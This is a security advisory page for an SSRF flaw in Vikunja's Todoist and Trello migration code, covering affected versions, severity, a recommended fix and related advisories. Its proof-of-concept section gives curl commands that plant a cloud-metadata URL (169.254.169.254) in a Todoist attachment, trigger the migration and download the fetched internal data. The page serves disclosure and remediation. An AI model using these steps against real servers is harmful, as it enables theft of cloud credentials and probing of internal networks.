Skip to content

GHSA-g66v-54v9-52pr CVE-2026-33675 GO-2026-4851

Vikunja has SSRF via Todoist/Trello Migration File Attachment URLs that Allows Reading Internal Network Resources

Medium Go
Severity
6.4 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.28%
Chance of exploitation in the next 30 days. Higher than 20.17% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-918 Server-Side Request Forgery (SSRF)
Fix
2.2.1
Upgrade code.vikunja.io/api to this version or later

Description

Summary

The migration helper functions DownloadFile and DownloadFileWithHeaders in pkg/modules/migration/helpers.go make arbitrary HTTP GET requests without any SSRF protection. When a user triggers a Todoist or Trello migration, file attachment URLs from the third-party API response are passed directly to these functions, allowing an attacker to force the Vikunja server to fetch internal network resources and return the response as a downloadable task attachment.

Details

The vulnerability exists because the migration HTTP client uses a plain http.Client{} with no URL validation, no private IP blocklist, no redirect restrictions, and no response size limit.

Vulnerable code in pkg/modules/migration/helpers.go:38-59:

func DownloadFileWithHeaders(url string, headers http.Header) (buf *bytes.Buffer, err error) {
	req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil)
	if err != nil {
		return nil, err
	}
	// ... headers added ...
	hc := http.Client{}
	resp, err := hc.Do(req)
	// ... no URL validation, no IP filtering ...
	buf = &bytes.Buffer{}
	_, err = buf.ReadFrom(resp.Body) // no size limit
	return
}

Call site in Todoist migration (pkg/modules/migration/todoist/todoist.go:433-435):

if len(n.FileAttachment.FileURL) > 0 {
	buf, err := migration.DownloadFile(n.FileAttachment.FileURL)

The FileURL is deserialized directly from the Todoist Sync API response (json:"file_url" tag at line 125) with no validation.

Call sites in Trello migration (pkg/modules/migration/trello/trello.go):

  • Line 263: migration.DownloadFile(board.Prefs.BackgroundImage) — board background
  • Line 345: migration.DownloadFileWithHeaders(attachment.URL, ...) — card attachments
  • Line 381: migration.DownloadFile(cover.URL) — card cover images

Notably, the webhooks module in the same codebase was recently patched (commit 8d9bc3e) to add SSRF protection using the daenney/ssrf library, but this protection was not applied to the migration module — making this an incomplete fix.

Attack flow:

  1. Attacker creates a Todoist account
  2. Using the Todoist Sync API, attacker creates a note with file_attachment.file_url set to an internal URL (e.g., http://169.254.169.254/latest/meta-data/iam/security-credentials/)
  3. Attacker authenticates to the target Vikunja instance and initiates a Todoist migration
  4. Vikunja's server fetches the internal URL and stores the response body as a task attachment
  5. Attacker downloads the attachment through the normal Vikunja API, reading the internal resource contents

PoC

Prerequisites:

  • Vikunja instance with Todoist migration enabled (admin has configured OAuth client ID/secret)
  • Authenticated Vikunja user account
  • Todoist account controlled by the attacker

Step 1: Craft malicious Todoist data

Using the Todoist Sync API, create a note with an internal URL as the file attachment:

curl -X POST "https://api.todoist.com/sync/v9/sync" \
  -H "Authorization: Bearer $TODOIST_TOKEN" \
  -d 'commands=[{
    "type": "note_add",
    "temp_id": "ssrf-test-1",
    "uuid": "550e8400-e29b-41d4-a716-446655440001",
    "args": {
      "item_id": "'$ITEM_ID'",
      "content": "test note",
      "file_attachment": {
        "file_name": "metadata.txt",
        "file_size": 1,
        "file_type": "text/plain",
        "file_url": "http://169.254.169.254/latest/meta-data/"
      }
    }
  }]'

Step 2: Trigger migration on Vikunja

# Authenticate to Vikunja
TOKEN=$(curl -s -X POST "https://vikunja.example.com/api/v1/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"password"}' | jq -r .token)

# Initiate Todoist OAuth flow
curl -s "https://vikunja.example.com/api/v1/migration/todoist/auth" \
  -H "Authorization: Bearer $TOKEN"

# After OAuth callback, trigger the migration
curl -s -X POST "https://vikunja.example.com/api/v1/migration/todoist/migrate" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"code":"<oauth_code>"}'

Step 3: Download the attachment containing internal data

# List tasks to find the attachment ID
curl -s "https://vikunja.example.com/api/v1/projects" \
  -H "Authorization: Bearer $TOKEN"

# Download the attachment (contains response from internal URL)
curl -s "https://vikunja.example.com/api/v1/tasks/<task_id>/attachments/<attachment_id>" \
  -H "Authorization: Bearer $TOKEN" -o metadata.txt

cat metadata.txt
# Expected: cloud instance metadata, internal service responses, etc.

Impact

An authenticated attacker can:

  • Read cloud instance metadata: Access http://169.254.169.254/ to retrieve IAM credentials, instance identity, and configuration data on AWS/GCP/Azure deployments
  • Probe internal network services: Map internal infrastructure by making requests to RFC1918 addresses (10.x, 172.16.x, 192.168.x)
  • Access internal APIs: Reach internal services that trust requests from the Vikunja server's network position
  • Denial of service: Since buf.ReadFrom(resp.Body) has no size limit, pointing to a large or streaming resource causes unbounded memory allocation on the Vikunja server

The attack requires the target Vikunja instance to have Todoist or Trello migration enabled (requires admin configuration of OAuth credentials), but this is a standard deployment configuration.

Recommended Fix

Apply the same SSRF protection already used for webhooks (daenney/ssrf) to the migration HTTP clients. In pkg/modules/migration/helpers.go:

import (
    "github.com/daenney/ssrf"
    "code.vikunja.io/api/pkg/config"
)

func safeMigrationClient() *http.Client {
    s, _ := ssrf.New(ssrf.WithAnyPort())
    return &http.Client{
        Transport: &http.Transport{
            DialContext: (&net.Dialer{
                Control: s.Safe,
            }).DialContext,
        },
    }
}

func DownloadFileWithHeaders(url string, headers http.Header) (buf *bytes.Buffer, err error) {
    req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil)
    if err != nil {
        return nil, err
    }
    for key, h := range headers {
        for _, hh := range h {
            req.Header.Add(key, hh)
        }
    }

    hc := safeMigrationClient()
    resp, err := hc.Do(req)
    if err != nil {
        return nil, err
    }
    defer resp.Body.Close()

    // Limit response body to 100MB to prevent memory exhaustion
    buf = &bytes.Buffer{}
    _, err = buf.ReadFrom(io.LimitReader(resp.Body, 100*1024*1024))
    return
}

Apply the same pattern to DoGetWithHeaders and DoPostWithHeaders in the same file.

Affected versions

Go

PackageVulnerableFixed in
code.vikunja.io/api
< 2.2.1
2.2.1
code.vikunja.io/api
all versions
No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.vikunja.io/api Go → 2.2.1

go
go get code.vikunja.io/api@v2.2.1 && go mod tidy

Severity breakdown

CVSS 3.1 6.4

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
Low

Weakness

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-m687-p538-r5hp
Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted
Medium Also affects code.vikunja.io/api
GHSA-fmmf-xq98-g327
Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check
Medium Also affects code.vikunja.io/api
GHSA-pjr3-86v4-5p7w
Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)
Medium Also affects code.vikunja.io/api
GHSA-hjx8-qv73-f7cm
Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed
High Also affects code.vikunja.io/api
GHSA-fprf-r6rv-xg99
Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants
Medium Also affects code.vikunja.io/api
GHSA-4hv6-xc92-j86g
Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes
High Also affects code.vikunja.io/api
GHSA-w2ch-4xgr-22ww
Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal
Low Also affects code.vikunja.io/api
GHSA-8wvg-r2j4-3737
Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint
Medium Also affects code.vikunja.io/api
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor